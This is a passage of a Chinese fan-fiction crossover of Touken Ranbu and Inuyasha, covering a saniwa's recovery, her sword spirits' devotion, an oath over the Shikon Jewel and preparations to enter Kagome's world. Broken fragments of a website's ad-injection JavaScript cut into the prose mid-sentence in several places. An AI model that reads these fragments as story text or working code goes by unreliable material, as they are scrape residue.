广袤的土地,现在盖着一层厚厚的雪被,不远处还停着几辆拖拉机;结冰的湖泊,从桥上往下探,还能看见几只吃得胖胖的鱼在冰层下悠然游动;还有曲折得能把人绕晕的长廊,不知道为什么在凛冬还在盛放的樱花树,庭院中央意味不明的装置…… 所以自己到底是来到了怎样的一个地方啊!难道是什么隐世的财阀家主的本宅? 在转了不知道几个弯之后,戈薇成功迷失在了这座复杂的本丸里。外表看起来几乎一模一样的建筑让她放弃了辨认方向,转而朝一处看起来特殊一点的平房走去。 直到走进了,她才发现这是一处马厩。 究竟是什么样的人会养这么多匹马啊?看着马厩里皮毛光滑顺亮、正在安然地享用着稻草的马匹,戈薇提出了不知道第几个疑问。 “日暮小姐?” 听见熟悉的声音,她朝里面走了一点,发现一道被遮在稻草堆后面的红色身影,应该就是刚刚给她送饭和衣服的青年,她记得好像叫堀川国广。 “您怎么到这里来了?”青年拍拍衣袖,把沾在身上的草根抖落。一双蓝色大眼轻眨,带着询问意味的目光轻飘飘落在她身上。 虽、虽然看起来很友善,但不知道为什么身上的压力突然好重…… 戈薇僵硬站直,在这样的注视下乖巧地解释,“我觉得在屋里待着有点闷,就出来走走,可是没想到迷路来到了这里……没给你们添麻烦吧?” “没事的,”对面的青年善解人意地笑道,“您是我们的客人,而且我们还需要……” 不过他还没说完,就被另一道声音打断了,“喂国广,快点到大广间,她醒了!” 毫不夸张地说,戈薇看见堀川国广的眼神在听到这句话的一瞬间就亮了起来。刚才虽是在笑着,眼睛却好像蒙着一层阴翳,而现在的眼睛就像她曾经看到过的被吹开云层的天空一样清朗。 “真的吗,兼先生?我马上过来!”他充满活力地应着,在冲过去之前想起一旁的戈薇,好在还没有开心到把她忘在这里。 “日暮小姐跟我来吧,您房间的位置就在大广间隔壁。” 戈薇赶紧跟上他。门口的另一个长得很俊秀的长发青年看了她一眼,倒也没说什么,只是告诉她要跟紧。 跟紧?下一秒戈薇就明白了这句话的意思——他们实在是太快了!就算自己平时和犬夜叉他们一起跑习惯了,也跟不上眼前二人的速度,只能勉强地缀在他们两人的身后。 气喘吁吁地跟着他们绕过了几个弯,熟悉的地方映入眼帘,正是昨天晚上她被发现的地点。一群衣着各异、但容貌都很出众的人挤在一起,不禁让她想起昨天晚上他们看到自己第一眼时可怕的目光。 可今天的目光是截然不同的。戈薇能感觉到他们带着一种微妙的期待又害怕的情绪,正盯着……一部手机? 嗯……自己果然还是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 无法理解。 知道这不是自己应该参与的场合,戈薇只好按捺下好奇,问完回去的路就识相地离开了。 没关系,暂时没感受到邪恶的存在,那么等他们的“鸢尾大人”回来应该就好了。戈薇乐观地想。 —— 这是什么? 鸢尾漂浮在空中,低头望向她下方的两道璀璨星河。 一道金色的流沙,一道紫色的长河,现在正在缓缓交汇。金色的星河有一些慢慢染黑的细小分枝,不过总是很快就被主干覆盖;而那道紫色的却不同,它自由地延伸着,就像河流分出许多不同的岔道。 它们共同从玄黑的星幕上蜿蜒而过,偶有其中一两颗调皮的星点逸出,又被后面的同伴吸回,推动着流向看不清的远方。 鸢尾向下探身,星点们纷纷往她的方向跳了跳,亲昵地和她打招呼。一颗金色的跳进她的手心,开心地贴了贴她,接着像烟花一样炸开,化成更小的光点融进她的身体中。 一直折磨着她的疼痛好像因此消弭了些……但还没反应过来,下一瞬,她便感觉眼前一黑。 再次回过神来,她的脸被一只温热的手拂过。温暖的呼吸洒过她的颈侧,然后是一个柔软的触觉落在脸上。 “主人,”她听见他的喃喃,“快醒来吧,求你了……”冰凉的水珠滑过她的脸颊,又立刻被轻柔的擦去,仿佛只是她的错觉。 我听见了。鸢尾在心里温柔地应道。 悄悄把自己的脸埋在鸢尾发间的不动行光好像突然察觉到了什么,猛地抬头,对上一双淌着蜜的眼睛。她温暖的眼神一如既往,仔细地注视着他,就像一个触碰不到的拥抱。 “太好了,终于可以看到修行归来的不动了。”他听到她轻柔的、微哑的喟叹。 …… 不过不动行光还没来得及干什么,一群戴着口罩、穿着白大褂的医护人员就鱼贯而至,带着各种仪器进来检查鸢尾的身体状况。他只好一步三回头地退出去,趴在外面的窗户上目光灼灼地盯着。 “真的醒了吗?不会是我在做梦吧……”窗户做了防窥处理,他没办法看清里面,但模糊的影子也让他开心到晕眩。他掐了一把手臂上的肉,却惊恐地发现不疼,于是更用力地掐了一下。 一个巴掌忍无可忍地拍开他的手,“臭小子,你不疼因为掐的是我的手啊!” 不动行光这才发现清光和药研不知道什么时候出现在他身边,和他一样一瞬不眨地注视着窗户里面。 “感受到大将的灵力又有变化,我们就跟着他们过来了。没想到……” 他们刚刚在与负责鸢尾身体的医生开会讨论治疗方案,过程中监测鸢尾灵力的仪器却突然响了起来。他们揪着一颗心跟过来,却刚好看到鸢尾睁开眼睛的那一幕。 太好了……他们对视一眼,不约而同地露出一个微笑。 这一次,无论要付出什么代价,他们都不会再让那天的场景重现。 29.看得清与看不清 “我现在已经没那么虚弱了……” 鸢尾垂下眼睛看了一眼药研放到她唇边的汤勺,上面盛着一勺温度恰好、刚好一口份量的粥。 “就算是这样,大将也还需要静养。这些小事我们来代劳就够了。”药研一本正经地回答。 ……好吧。鸢尾微微启唇,那勺粥就被不偏不倚的送进她的口中。从她醒来到现在,不过短短的几个小时,她就能感受到他们的分离焦虑症越发严重——现在已经到了她在他们面前都不放心的地步了。 分离焦虑症,这个词还是她从辛黎那里学到的。 “一般都是小孩子才会有这样的情况,你们家的付丧神也是小孩子吗?”她开玩笑似的说道。 “如果按照显形的时间来算,他们也确实是小孩子。”鸢尾煞有其事地点头。 但是现在,他们粘人的程度直线上升。饭是要用喂的,路是不用自己走的,离开他们眼前是完全不行的。她就去上了个厕所的功夫,出来就看见不动行光眼眶红红的,也不说什么,就呆呆地盯着她,一幅委屈又可怜的样子。 不过——还能怎么办呢?自己家的付丧神,还是要好好安抚的。况且这次的情况……也确实是吓到他们了。 鸢尾一边不好意思地享受着药研贴心的服务,一边在心里无奈地想。 “呜呜呜,鸢尾大人,您终于醒了!”狐之助带着哭腔从外面灵活地跑进来,轻轻一跃,准备像之前一样跳进鸢尾的怀里。不过在半空中就被药研拦了下来,一把抓住了它命运的后脖颈。 “狐之助,你太大力了,大将才刚醒,现在身体还不能承受你这么重的重量。” “哦哦,那、那咱轻点?”狐之助试探性地扑腾着。 药研满意地点了点头,才把它轻放到鸢尾腿上。一碰到鸢尾,狐之助就跟打开了什么开关似的,蹭进她的怀里撒娇,“鸢尾大人,咱实在太担心了……” 本来还没有那么委屈,可是一闻到鸢尾身上熟悉的香味,狐之助就有点憋不住了,“您突然就晕倒了,还流了那么多血,当时我们与您的契约甚至都不稳定了呜呜——我真的、真的很害怕……” 鸢尾心疼地摸了摸它的大尾巴。连狐之助的反应都这么大,更不用说其他与自己契约联系更紧密的付丧神了。 她把狐之助抱进怀中,耐心地低声安抚着。过了一会儿,它抽噎的声音才停下来,不好意思地转移话题,“对了,咱还得跟在本丸的大家说一下您已经醒了的事情,要不然他们现在肯定很着急。” 说着,它拨弄了一下胸前的铃铛,熟练地编辑好短信,发送到特意留在本丸的传输器里。 “还有一件比较紧急的事要向您汇报。”狐之助向鸢尾简要说明了因为她的灵力异动导致的时空通道融合、另一个世界的日暮戈薇被通道送到本丸的事情。 听着狐之助的话,鸢尾想起自己在醒来之前看到的那两条星河。那条金色的,与审神者们所使用的灵力颜色相近,应该就代表了他们现在的这个世界;而那条紫色、不断蜿蜒长出分枝的,应该就是狐之助所提到的另一个世界了。 这让她回忆起时之政府发给她的文件。 他们提出了一个方案。在由作品《犬夜叉》衍生出的世界中,存在着一个核心,即“四魂之玉”。巫女与妖怪的灵魂在其中达成一个微妙的平衡,使得这颗“四魂之玉”拥有了容纳大量力量的功用。如果能模拟其中的力量平衡,就能制造出一个可以自动装载鸢尾大部分灵力而不会破坏的装置,即“拟四魂之玉”。 能研制成功的话,“拟四魂之玉”就像鸢尾的外置灵力。所有吸收进她身体里、会导致身体过载的灵力都会被自动吸收进“拟四魂之玉”里,这样一来,就不会像之前的灵力抑制装置一样浪费鸢尾的天赋,也不会在她需要用到大量灵力的危急情况下损耗她的身体,造成像上次一样的后遗症。 虽然听起来很完美,不过,在实际的研发中,时之政府的研究人员遇到了很多困难。首先,“拟四魂之玉”就代表着他们要找到原四魂之玉里的平衡。可原四魂之玉是善恶灵魂纠缠的结果,他们无法通过简单的模拟找出平衡。 所以,最好的方法还是能直接接触到真正的四魂之玉。 而且这个世界是基于一部作品产生的,这就意味着它比时之政府所处的世界更“包容”,在不违反故事基本条理逻辑的情况下,它甚至会主动产生新的分支——这也给了他们能进入那个世界、接触到原四魂之玉的可能性。 可是跨越世界并不像他们通过时空传送装置回到本世界的历史过去一样轻松,不仅需要传送者有大量的灵力,在实现跨越之后,传送者与本世界的联系还会暂时切断。于是,最好的人选还是鸢尾自己。 在不动前往修行的那天收到这个方案,鸢尾本想着还不是很着急,可以等自己的眼睛恢复、不动回来之后再从长计议。 可是没想到这次灵力异动爆发得这么突然——也没想到自己只是喝了口酒,在喝醉之后还一直在心里想着这件事,就导致自己的灵力影响到了两个世界的通道。 这可真是……鸢尾暗自摇头。 “叮铃叮铃”,狐之助的灵动突然自己摇动了起来,清脆的声音打断了鸢尾的思绪。 “应该是本丸大家的信息。”狐之助把收到的消息通过铃铛投屏到空中,方便鸢尾观看。 信息一条一条的跳出来,在不是很大的屏幕里快速跳动,让人眼花缭乱。 “请主人好好休息,我一定会在您不在的时候替您看管好本丸!”这一条一看就是长谷部。 “这种惊吓下次还是不要有了吧?就算是鹤也要吓死了。”这是鹤丸,难得语气都不想以前一样活泼了。 “请,好好修养。”嗯……这个语气,是新来的白山吧? …… 还有很多,因为跳动的速度太快了,鸢尾甚至还来不及捕捉就过去了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “狐之助,跳过去的信息还能留着吗?”她的眼睛直直盯着屏幕,不想错过大家的一句话,可是这些字滑动起来不过一会儿就让人头晕。 “可以的,鸢尾大人。您还是先休息吧,大家发这些也是关心您,不想造成您的负担。”看出鸢尾不习惯这样的阅读方式,狐之助立马把屏幕关掉了,“我会把这些都留下来的,您之后也随时可以看。” 低头缓了缓突然的眩晕,鸢尾摸了摸狐之助的头毛,“太谢谢你了,狐之助。” 它骄傲地挺起胸脯,“能帮得上鸢尾大人就好!” “还在本丸的日暮小姐,就要麻烦你们好好招待她了。”虽然不知道为什么她可以突然醒来,但鸢尾的身体一时半会儿还是无法完全恢复,需要在这里多住几天。时空通道也还在抢修中,只好委屈那位因她而至的日暮小姐在她本丸中多住几天了。 狐之助乖乖点头,随后带着鸢尾的命令赶回本丸。 鸢尾本想着趁现在精力还不错,顺便多处理一点事务,可下一秒就被药研按住了,“大将,你现在应该好好休息,这样才能早点养好身体。” 她顺着药研的力度往床上倒去,他俯下身,在鸢尾身上投下一片阴影。微凉的紫色短发划过他的脸颊,轻轻落在她的眼尾,留下一点痒意。 “剩下的就交给他们吧,如果连这一点小事都处理不好,还是不要留在您身边了。” 鸢尾透过透明的镜片望进他紫色的眼底。她的双手从盖好的被子里面抽出来,捧住他的脸,轻轻捏了捏,“很有气势呢,药研。” 唉…… 不知道她到底懂不懂,但略显暧昧危险的氛围还是被她一下子打破,可药研也拿她没办法。只好抓住她不安分的手往被子里塞,“没办法啊,毕竟有您这样大将,没有气势的话就会被吓到头疼吧。” 都用上敬称了……听到药研若有所指的语句,鸢尾选择屈服在本丸第一医生的气势下,并寄希望于他今晚能给自己端来一碗味道不那么奇怪的药,并且不要一口一口地喂——让原本就很苦的药在她嘴里充分发散。 “良药苦口利于病,大将不好好爱惜身体就要有这个自觉。”药研一口回绝,并把带着手套的手轻覆在她的眼上。他最终还是放轻了语气,低沉的声音带着令人安心的感觉,“睡吧,大将。我会一直陪在你身边的。” 他的手没有拿开,鸢尾的眼睛顺着他手的动作闭上。明明没有睡意,也渐渐在舒适的温度与熟悉气息包围下进入梦乡。 而药研的目光落在她的脸上。眼睛被自己遮住,就好像回到之前她还无法看见的时候。但是药研知道,即使看不见也不能影响她什么,因为比起依赖眼睛,她可能更倾向于用“心”去看吧。 这么轻易就睡着了,就这样相信我们吗? 想到刚刚的情况,药研自嘲一笑。 那么大将,你清楚我们的心情吗?现在,或许连我们自己都看不清了。 30.誓言与轻吻 日暮戈薇有点紧张。 她已经在这里住了三天了。 期间,除了前几次会因为这里复杂的结构而迷路,后面自己基本就能找到回房间的路了。在参观这里的时候,她无数次的感慨,这里的主人到底是多有钱才会坐拥这么大的一块地。 听这里的小孩子们介绍,这座本丸的范围不仅限于错落的房屋还有旁边的田地、池塘与温泉,甚至还包括后面那几座山和最外面的海…… 当自己震惊的目光对上小孩子们理所当然的眼神,日暮戈薇觉得,可能……还是自己太孤陋寡闻了吧。 而且,她每天都能看见这里的人带着刀通过庭院里的那个特殊装置不知道去干什么,然后有时候浑身是血的回来(她观察了一下,发现并不是他们的血),有时候抱着一大堆他们称之为“特产”的各种奇奇怪怪的东西回来。 不、不会是黑/帮……吧? 不过好在这里的人们对她都很礼貌,而且狐之助每天都有向她通知时空通道的修理进程。她倒也没有太着急,只是担心两边时间不一样,不知道回到原来的世界,自己消失多久了。 “这您就不用担心了,日暮小姐。既然是我们这边导致的意外,我们会负责处理的。等您回去,那边的时间还是在您刚进入食骨之井的时候。”听到她的困扰,今天来告知她通道修理进度的狐之助认真地解释。 “对了,今天鸢尾大人就可以回来了。她想见您一面,不知道您是否有时间呢?” 是的,这个才是她紧张的原因。 她终于要见到这座本丸的主人了。 —— 戈薇是在下午才见到鸢尾的。 连绵几天的暴雪终于停了下来,午后的暖阳好不容易露面,将大地上的一切生灵纳入自己暖洋洋的怀抱。戈薇跟着狐之助清脆的铃铛声,第一次涉足这座本丸的天守阁。 “主人,您真的不需要再休息几天吗……” 刚到门外,可以隐隐约约听见里面的对话声。听声音……好像是那位叫压切长谷部的先生?在这座本丸的几天,主要负责给戈薇送一些日常生活用品的就是他,算是戈薇在这里比较熟悉的人之一,所以她对他比较有印象。 可是刚刚听到的声音感觉和他平时完全不一样呢——特别的小心翼翼,就好像自己在遇到特别可爱的小动物或者小孩子时才会有的那种…… 被自己的想法逗笑,戈薇摇了摇头,把这种听起来和他的形象完全不搭的说法甩开。 “鸢尾大人,咱把日暮小姐带来了!” “咳咳,请进来吧。”一道孱弱但温柔的声音从屋内传出来,狐之助拉开门跑了进去。戈薇带着好奇与紧张,深吸一口气,也跟着走了进去。 好漂亮……这是看到坐在首位的她的第一印象。 戈薇见过许多人,也见过许多妖怪,他们之中不乏有很漂亮的存在。甚至就最近来说,在这座本丸里生活的人,也经常让她产生“真的很帅气”或是“真的很漂亮”的感慨。 但是,这和她不太一样。 戈薇不知道该如何形容。看到她的时候,会不自觉的愣神。可能因为生病的缘故,她的眼尾因为咳嗽而染上一抹红晕,黑而直的眼睫掩住她的眼睛,这样看她时,就像隔雾看花,让人不自觉猜想她被掩住的眼睛会是什么样子的。柔和的阳光仿佛也格外偏爱她,特意从窗户里穿过,为她披上一层金色的薄纱。 明明是很清冷脆弱的长相,可当看到她蜜色的眸子里流淌的温柔和包容时,又会觉得自己的想象实在是匮乏,远不如亲眼看见时的惊艳。 “咳咳”,见她一直愣愣地盯着鸢尾,长谷部忍不住皱紧眉头,咳嗽两声来提醒她。 听见咳嗽声,戈薇才反应过来自己居然直勾勾地盯着人家看了不知道多久。 “!不好意思,我不是故意的……”戈薇捂住自己爆红的脸,急忙鞠躬。太尴尬了,怎么可以盯着别人的脸发呆啊!可是—— 她又抬头偷瞄了一眼,正好对上鸢尾含笑盯着她的眼睛。像被烫到一样收回目光,戈薇察觉到自己的脸有继续发烫的趋势。 可是真的好漂亮,不仅是外貌上的,更是那种从容不迫的、仿佛一切困难都无法让她皱眉的那种气质。 “请坐吧,日暮小姐。” “好、好的……”戈薇拘谨的坐下,与一进来就瘫进鸢尾怀里的狐之助形成鲜明对比。 “日暮小姐最近在本丸还习惯吗?” “是的,大家都很照顾我……” “不好意思,是因为我的缘故,才耽误了你的时间。通道再过两天就可以修复,现在如果你还有什么问题的话都可以问,我会尽力为你解答。” ……有很多问题。 比如为什么说是她的灵力影响到了食骨之井,比如这里到底是哪里,又比如他们究竟是什么身份。 戈薇小心翼翼地提问,鸢尾也都在可以透露的范围内耐心地一一解答了。 从一开始的震惊到后面慢慢麻木,问答结束后,戈薇心累地叹了口气。本来以为世界上有妖怪的存在就够令人惊讶了,没想到在别的世界还有更加丰富的物种(……)啊。 在谈话的结尾,鸢尾又给她扔下一记重磅,“到时候,我们可能也会跟着日暮小姐一起去一趟呢。” “诶?为什么?”戈薇惊讶地瞪大眼睛,试图从鸢尾笑眯眯的表情中找到答案。 不过不用她找,鸢尾就主动告知了。毕竟是去别人家里做客,还是要认真说明原因的,“具体的话,可能还是与你熟悉的‘四魂之玉’有关吧。” “诶——!” 这次戈薇是真的差点跳起来了。四魂之玉对她而言实在太特殊了,要不是能看出来他们对她没有恶意,还有鸢尾在她心里良好的形象,她才能好好坐在这里听鸢尾解释。要是换别的人来说,戈薇觉得自己现在恐怕都要夺门而出了。 “不用担心,我们并没有想要争夺四魂之玉的意图。” 之前在时之政府那里了解过四魂之玉对于他们的重要性,鸢尾并没有想要用这个开玩笑的打算。会提前向日暮戈薇告知,也是鸢尾深思熟虑过的结果—— 在她对他们的印象还不错时直接提出自己的目的,以免后面到了她的世界闹出一些不必要的误会和矛盾。到时候他们与本丸的联系会被削弱,要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是真的发生了无法应付的事情,提前与她交代好也可以避免很多麻烦。 鸢尾拿出了时之政府之前交给她的方案,正色将它递给了对面的戈薇:“其实还是因为我的灵力……你可以看看这个,上面有详细的说明。” 戈薇将信将疑地接过,仔细地浏览起来。往下读,她的眉头也不自觉皱了起来。简单的几页报告,其中大部分的篇幅都是灵力过载给鸢尾带来的后遗症,甚至还在报告中多次强调让鸢尾一定注意自己的身体——到底是多不在意自己的身体才会让医生反复强调啊…… 读到最后,大致了解了现在的情况,戈薇还是有点纠结。一方面,她清楚以鸢尾和她的付丧神的实力,其实并不需要向她说明什么,完全可以偷偷地进入自己的世界,接触到四魂之玉,完成上面的任务。而他们提前向自己告知也只是出于礼貌,自己现在孤身一人,要是真的不同意,想拦也拦不住; 但另一方面,她还是有点不放心。毕竟四魂之玉实在太过重要,身上的责任感让她不能单凭简单的判断就随意地答应…… 看出她的纠结,鸢尾主动说道,“如果你还是不放心,那我们就以灵力立誓吧。” “立誓?” 戈薇曾经听爷爷说过这个,立誓方以灵力向另一个人为誓,誓言一旦成立无法更改,如有违背,违反的那一方就会当即和他的灵力一起灰飞烟灭。这样的誓言需要双方都有灵力,而且代价只有立誓方承担,以前常用在巫觋之间,后来就慢慢失传了。 鸢尾用灵力划破自己的掌心,刻意忽略旁边长谷部一下子停滞的呼吸,她用另一只手的食指沾过自己的血,在空中划了一个复杂的阵法。金光闪过,阵法化作金粉消散在空中,戈薇能感觉到自己与鸢尾多了一丝奇妙的联系。 “这样可以相信我们了吗?”鸢尾俏皮地朝她眨了眨自己蜜色的眼睛。 “是、是!”戈薇没想到在爷爷口中这样一份庄重严肃、非必要一定不要用的誓言就这样被鸢尾轻而易举地立下了。通过誓言的联系,她能感受到鸢尾的诚意。 “对了,这会不会对您的身体产生什么不好的影响!”想到刚刚报告上鸢尾糟糕的身体状况,戈薇忧心地看着她。 “没关系,只是一小点灵力,不会对我的身体造成什么负担的。” ——不过看起来可能给旁边的长谷部带来了很大的负担……鸢尾垂在桌子底下的手勾了勾长谷部攥得死紧的拳头,不过暂时没得到回应呢。 日暮戈薇也看出了气氛的不正常,在确认鸢尾没有什么问题之后就匆忙离开了。一直在鸢尾怀里充当吉祥物的狐之助也急急忙忙地追着她跑去。 “主人……” 看他们离开,鸢尾转过头刚准备安抚一下长谷部,她受伤的手就被他用轻得不能再轻的动作捧起来了。伤口并不深,血已经止住了,正在灵力的滋润下慢慢恢复。他急促的呼吸洒落在鸢尾的手心,让她不自觉地蜷起手指。 长谷部直直盯着那道快要愈合的伤口,额前的碎发和浓密的睫毛掩住了他眼底的神色。像是受到什么指引一般,他注视良久,最终在她的目光下、在她的手心中留下轻柔一吻。 31.药汤与蝴蝶 直到嗅到鸢尾手心的馨香,长谷部自己都愣住了。 我、我都做了些什么啊!? “主人!我……”他猛地抬起头,刚想解释,却正对上鸢尾的眼眸。 “我……”看见她清澈的眸子映着自己的身影,长谷部的话却停在了嘴边。他无法解释自己为什么会做出这样大逆不道的动作,只能颓然地低下头,承认自己的错误,“对不起,主人。我居然做出了这样冒犯您的事,请您惩罚我吧……” 担心扯到鸢尾的伤口,长谷部不忘捧着她的手轻轻放下。他不敢再直视她的眼睛,也不敢让她看到自己心烦意乱的神情,掩眸盯着她的裙角,等待她最后的审判。 “长谷部,”她的手却落在了他的头顶,用力揉搓,把他精心梳理的头发弄得一团糟,长谷部的眼神也随着她的动作不得不抬起来,“你为什么想让我罚你?” “因为我冒犯了您……” 听到鸢尾开口提问,长谷部也只能忍住沮丧如实回答。 想到自己刚才的动作,他又想穿越回去砍了大不敬的自己,却又无法否认刚刚的动作是自己下意识的反应。已经发誓要保护好她,成为她手中最锋利的刀刃,却又一次让她在自己眼前受伤。刺眼的血从苍白的手中滑落,就像那天晚上的场景——这样的冲击让自己心神错乱。 可是长谷部并没有为自己辩解。他也觉得没什么好解释的。做了就是做了,错的也是错的,对主人造成的冒犯是真的,并不会因为自己的动机就发生改变。现在,他只能徒劳地希望主人不要因此抛弃他。 “啊”他下意识捂住自己突然被鸢尾弹了一下的脑门,又立刻把手乖乖放下,茫然无措地盯着她。 “确实该罚,”鸢尾没好气地收回手,佯装生气地转过身,“原来在长谷部心中,我就是这样一个是非不分的主人吗?” “不是的!”这回长谷部倒是反应的很迅速,他站起身轻轻拉住鸢尾的衣角,飞快地解释,生怕给她造成一点误会,“完全相反,在我的心中,主人英明神武、虚怀若谷,作为您的刀剑,我们所有人都在追随着您的脚步……” 眼看长谷部都要开始举例论证鸢尾在他心中的伟岸形象了,她只好转身捂住他的嘴,“好了,我不是想听你夸我的。” “我只是想弄清楚为什么你的反应那么大而已。” 鸢尾的手缓缓下落,主动握住长谷部放在身侧的手,“你觉得是冒犯,因为没有得到我的许可,对吗?” 看见他迟疑了一下还是点了点头,眼神又失落地垂下来,鸢尾不知为何幻视了因为被雨淋湿而被拦在屋外的可怜落汤小狗。 “你们关心我、想和我亲近,我能感受到的。所以这一次我不会因此怪你的……下一次想靠近我的话,长谷部不如大胆地说出来吧。” 看着他因为自己的话又亮起来的眼神,鸢尾坏心地补充了一句,“想像小孩子一样和我撒娇也是可以的哦?” “这!我、主人……”长谷部被这句话冲击得哑口无言,只能红着脸认输,“我知道错了,请您不要再逗我了……” 看着长谷部有趣的反应,鸢尾开心地笑起来。但笑没两声,又开始咳嗽。 “咳咳咳……”她捂着心口。 上次的灵力异动出乎意料地好得很快,但还是留下了一点后遗症。现在她一咳嗽起来心口就会跟着痛,不过对于鸢尾来说,比起之前的疼痛,都是一点微不足道的代价罢了。 但对于她的付丧神而言,这就是天大的事了。长谷部一下子就把刚才的事抛在脑后,如临大敌地帮鸢尾轻拍着背,希望能缓解一点她的难受。看她稍微好了点,他连忙倒了杯水放进她的手心,“主人,厨房的药应该也熬好了,您在这里稍微等一下,我去为您取来。” 看见鸢尾点头,他步履匆匆地就往外走去。 在路上,他分了一些心神回想着刚刚与鸢尾的对话——好像哪里不对?自己好像并不是…… 但仔细想起来,又觉得鸢尾说的并没错,自己确实是想与主人更亲近一些……他又突然想到鸢尾所说的撒娇,回忆了一下本丸里的小孩子们平时与她相处的场景,再代入自己……算了算了,自己这样与主人的相处模式就挺好的了。长谷部摇摇头,赶紧把刚才想象的画面从脑子里删除。 只要听从主人的话就对了!他信誓旦旦地点头,专心关注于眼前的药汤。 —— 在鸢尾回来后,戈薇切身体会到了这里的变化。 并不是具体物品的改变,而是生活在这里的人,哦,应该说是刀剑付丧神,他们的气质的变化。 其实之前戈薇就有一定的体会了。他们对自己都很友善,也没有什么恶意,可是在自己与他们交谈的时候,还是会情不自禁地对他们感到害怕。 她现在想想,应该是当时他们身上的“非人感”太重了——就像没有灵魂的躯壳,所有的情绪都是被设定、或者说是被压抑着的。他们站在你的面前,与你交谈着,但你却无法从他们的眼神中体察到自己的存在。 或许,他们的灵魂就在鸢尾身上吧。 与鸢尾一起在廊下品着茶,身边放着精致又可口的茶点,看小孩子们在前面的草坪玩闹,不时还要跑过来送给她们自己发现的新奇漂亮的花草,身边还有可爱温顺的毛茸茸可以撸—— 戈薇啜了一口茶,惬意地发出喟叹。 她在饮茶的时候抬起眼睛,视线从茶盏的缝隙中偷偷落到一旁浅笑着的鸢尾身上。 她正在帮一个叫五虎退的付丧神梳理着玩得乱糟糟的头发,温柔的目光认真地注视着他,把他看得偷偷红了耳朵。 这几天相处下来,她真的感觉鸢尾完全看不出来有什么缺点——灵力强大,处变不惊,能平衡好这么多人的关系,还掌握了一手好箭术…… 正想着的时候,一位水蓝色头发的付丧神端着一碗黑绿的药来到鸢尾身前。 “主公,这是今天的药,请您趁热喝了吧。”他带着无可挑剔的微笑,恭敬地将药碗扶在离鸢尾不远的地方。 鸢尾略微往身后仰了仰,避开传到鼻尖的苦涩气味,“麻烦你了,一期。先放着吧,我等一会冷一些再喝。” “不麻烦。”一期一振放下药碗,不过并没有离开,自觉守在鸢尾身侧。 不知道戈薇有没有看错,鸢尾给五虎退梳头的动作好像顿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了一下。 “一期今天的当番完成了吗?”鸢尾让已经恢复整洁的退继续去和他们玩,把梳子放在一旁,状似无意地提起这个话题。 “是的,今日是我与鹤丸殿的畑当番,在刚刚就已经完成了。” “什么什么,提到我了?” 身着一袭白衣的鹤丸国永不知道从哪个角落突然冒出来,把戈薇吓了一跳。他施施然在鸢尾身边坐下,歉意地朝被吓到的戈薇一笑,又开始拉着鸢尾追问刚刚说到他什么。 “哈,今天我可是有认真完成工作的。怎么样,吓到了吗?”听她重复了刚刚一期一振的话,鹤丸国永把头搭在鸢她肩上,从下面望进鸢尾眼底的金璨璨眼眸里是满满的得意。 ……见实在找不出理由,鸢尾只好默默叹了口气。认命地用一根手指抵开鹤丸的头,她端起一旁还散发着诡异气味的药碗,闭着眼一口气喝完了。 “咳咳。”她皱着眉头,刚想喝一口茶盏里的茶压压味道,嘴里就被鹤丸塞了颗甜滋滋的金平糖。 糖的甜味压过了药的苦,抚平了鸢尾的眉头。 “怎么样,这下总该吓到了吧?”鹤丸单手支着头,朝她挑了挑眉。 “是~是,一个很棒的惊喜呢。”鸢尾伸出手给他理了理毛。 看着他们两人的互动,一旁的一期一振不由失笑。早就听药研提到过鸢尾很排斥药的味道,刚刚端药过来的时候还被长谷部和烛台切叮嘱着一定要亲眼看她把药喝完,但这还是他第一次真实感受到鸢尾对药汤的不喜。 听到不远处弟弟们欢快的笑声,一期一振联想到之前包丁感冒的时候因为不想喝药而躲着自己的情形。主公……也有孩子气的一面呢。 旁边的戈薇也这样想着。不过她到觉得没什么,甚至因为不喜欢喝药这个可爱的缺点觉得鸢尾看起来更真实了些。 这段时间,她在鸢尾身边,看到了他们对她的尊敬与关心。许多她都没想到的小事,却被他们做得面面俱到。 ……这是爱吗? 在鸢尾教她练箭的时候,她贸然问出了这个问题。 “什么是爱呢?”出乎意料地,鸢尾停下来想了想,反问她。 但戈薇自己也无法回答这个问题。她想到自己,想到犬夜叉,又想到桔梗,最终还是只能茫然地摇头。 “其实我也不懂。”鸢尾也摇头,白色的发带随着她的动作被风轻盈地扬起,像蝴蝶一样悄悄停在发间。 “我无法判断什么是爱,但我知道,情感都是相互的,我从他们身上汲取到了温暖,所以我也想回报一样的情感。” “所以,在想不通的时候就往前走吧。” 鸢尾转过身,拉弓引弦,射出的箭稳稳地钉在靶心。她回头一笑,阳光模糊了她的身影,也把她的声音更清晰地传入戈薇耳中,“至少真正爱着你的人,都是希望你往前走的。” 往前走……吗?从回忆中回过神,戈薇把茶盏放到一旁,双手撑在身后,盯着湛蓝高远的天空。 一只白色的蝴蝶轻飘飘地飞过,悠闲安然地落在鸢尾发间。 这下是真有蝴蝶了……盯着看了许久,戈薇扬起一个轻快的笑。 32.名单与失踪 连接两边的时空通道修好了。 听到狐之助的这个消息,戈薇有点恍惚。 终于要回去了吗?可是自己到现在也没有找到答案……迷茫中,她又想起那天鸢尾对她说的话。往前走——可是对戈薇而言,她还是没有走出那天的食骨之井。 算了,走一步看一步吧,总不能一直这样逃避着。戈薇拍拍自己的脸,试图让自己打起精神来。 “那我们什么时候出发呢?”她努力扬起一个微笑,轻轻在狐之助软绵绵的背上摸了一把。 “等鸢尾大人安排一下此次出阵的付丧神就可以出发了。” 因为传送通道的限制,在一次性传送过后就会暂时关闭,所以这一次跟随鸢尾去到异世界的人选一定要慎重再慎重。就是不知道大人会选谁了…… —— 鸢尾此时也盯着刀帐,正在为这个问题烦恼着。 在大家得知通道会暂时关闭,遇到问题无法立即支援,而且在异世界鸢尾与本丸的联系也会削弱之后,就都暗戳戳或光明正大地来鸢尾这里自荐,希望她能带上自己。 而且这是他们第一次到异世界,对那个世界的具体情况都还不太熟悉,只能通过时之政府的资料以及戈薇的描述来推测,对于跟随人选一定要谨慎再谨慎。 